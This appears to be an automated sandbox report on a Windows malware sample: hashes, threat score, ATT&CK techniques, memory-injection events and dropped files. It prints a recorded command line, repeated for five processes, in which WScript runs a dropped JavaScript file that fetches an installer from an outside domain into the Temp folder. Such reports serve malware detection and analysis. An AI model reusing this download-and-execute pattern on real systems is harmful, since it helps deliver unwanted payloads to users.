fb447578be5ebddb61767ffafb67c2f1eb2fc62edd95eee3737a93f523969c8d

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21-05-2024 14:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
Size

184KB
MD5

638cfeb1a587464a49ddca953cc58092
SHA1

3ad4c297736b0555bcebce7ed08cde14130b850b
SHA256

fb447578be5ebddb61767ffafb67c2f1eb2fc62edd95eee3737a93f523969c8d
SHA512

4979f9258b947fbb7bb16337ebddbbf88d1c9fe088431461cab335b7f92f99b13bb8ac6b1358e286560137a98b35b5ece66507dc0c8289e29cb284b6c9254414
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32:/7BSH8zUB+nGESaaRvoB7FJNndnn

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	1068	WScript.exe
8	1068	WScript.exe
10	1068	WScript.exe
12	2348	WScript.exe
13	2348	WScript.exe
16	2608	WScript.exe
17	2608	WScript.exe
19	2224	WScript.exe
20	2224	WScript.exe
22	1336	WScript.exe
23	1336	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe

description	pid	process	target process
PID 2060 wrote to memory of 1068	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1068	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1068	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1068	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2348	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2348	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2348	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2348	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2608	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2608	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2608	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2608	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2224	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2224	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2224	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 2224	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1336	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1336	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1336	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe
PID 2060 wrote to memory of 1336	2060	638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf232A.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf232A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf232A.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf232A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2348
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf232A.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf232A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2608
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf232A.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf232A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2224
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf232A.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf232A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
df80f9ba75076db634761b6132e0d4e3

SHA1
07983946fb660752c7cccb2ef82d01ec4c9ecc5d

SHA256
d5ff96fd8b416de93a85783192206224cf8821c240cd8ff755f2e8270153dd99

SHA512
4ec734c5d29e9ce00b00e42b627253195e8c7a158433fedfcee428e692a6501981c33d7c8a39235f8b691f087145cdbe660b430493edbeedb12588c5cdd5a66a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
6c6dec40db98e16a878ef2db4773eb8a

SHA1
5118d10fd079accdb119822ca14d641190cd54b5

SHA256
679e23fb0ea36a0201033601a8c3a65fcf352f0c1ffeee12e8b82856a94b3000

SHA512
bd4b007c7f07770618cbb492115724c3770d337e2bb46b9b49df634233ad2dfc1de55442fc59db97103edfcc9cd9dd1e4973f4fb007b28127736e79d3110c54e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
24816b67fc58e1b8136ec991c6708450

SHA1
b5cd8a6c9689a51ba159eb5df548b93f04f0519a

SHA256
354def38df4eb850c8229efa8e5f2b6d968efd0b7d2dfd272cad982564942010

SHA512
2a5df9315dea9438da694dfdbaea9cc93a0936c9f874a0cfcb6b6896c4abf1faac13ddeb3532f06d3e2041aa0afeb052177f96b57892575f2a278f711658068e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
d8b834c6105d99a89741e82df2f5b1ff

SHA1
4e9d0deca90da3b4adf5110112734349b871f8a7

SHA256
7d96032fb9f6c001b70c102daac40e995ee7f32f3e4f2e29b627ce9cfc7bab9f

SHA512
b1abc0b112055e17c0e2367c3776b2ed698e7ec3cf59c7a438fd7802cf9d7b3c343e708819d46ee9570ac86b632fb8fc698b0db9368c9470e0a99e7bfd435305

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
40KB

MD5
3271ce1a9f4b64ed2e6e0fc9e846d4cb

SHA1
4641529f7b45baf28ddc1a0b172fefae7eea4a23

SHA256
c0b9ab5f8c482564e4b5efcb3065faaca3961f7e0916e48a3eb30dfb7d063509

SHA512
5a7346c7537a252c87341ea87082cdb6f894154d1388dc2f54491633c7a20373106a378c7928e0c7ccb6ce1ac23c6b8fb05bb2c553008c5d95009a2ce8d4986d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
6KB

MD5
0d0e31da993af9457f58a1c20081731a

SHA1
46ee63c8dae709865f86b6c61294df89cfd54344

SHA256
17d25c4c188ac903be3fa83b44523f13b316866f37574514be4439bce0b4f56c

SHA512
dbe539a31f15b8e0aea2ef8b95daac7a4eaa1c4f2819d21f65f11c3f934d2a4477a4d052a46a09d767a597fc2280269958699e8d7bf196c2f8ef5730b9069efd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
6KB

MD5
452057117e2af77bcc3d755baebef7b7

SHA1
02b4e4bbc8f9ee7025bd3f033b95ba850f6c229a

SHA256
c0c97f875b61112e230dc3906473be37a419fb9e5bd4a8bfc4de09ef4fd59fc6

SHA512
f64fbe9659a5887050f516e15c64b35a69c68f17380310b235a711d4f6ebcd938e7e464cbca3550e800046928c4bf96b22130a1c6f11627154d609044638374d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
40KB

MD5
f825cf019319cb3048d2daa6345a8828

SHA1
e6e8d8b8bf9d6e86dd89d2c096d135a1a3ef62d1

SHA256
c72b04761e7d546b45e7163aa07abb8d4b0b269f3e1992ae08637f56664a446c

SHA512
15888ef1ca62c2a69cac698b8f92f1b1b0baf9a7f8c4854df93d5cbc366ef0bb7acfefe270e148c664848930804d8c1a99309660c64ce62e57d2d14c14c89c84

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab53AC.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6BEE.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf232A.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\6SBAIBW7.txt

Filesize
177B

MD5
f29ca8b39583ec8bb08d5fc5c9df96f1

SHA1
a5aafeab0a4852d71b791e0785d721b25d726840

SHA256
397d33175365c9c247321f2befa217007a183f87247f5136c16a52ed445907cb

SHA512
4ed27b1c27a529b2b1aedad569add948a3c72465ca0bcc32f31f5951a2cf839e6b51f6b1fdbdaed450a05610d4ed6f6d416178dead7910e3c1131ac83d68f37e

Download Submit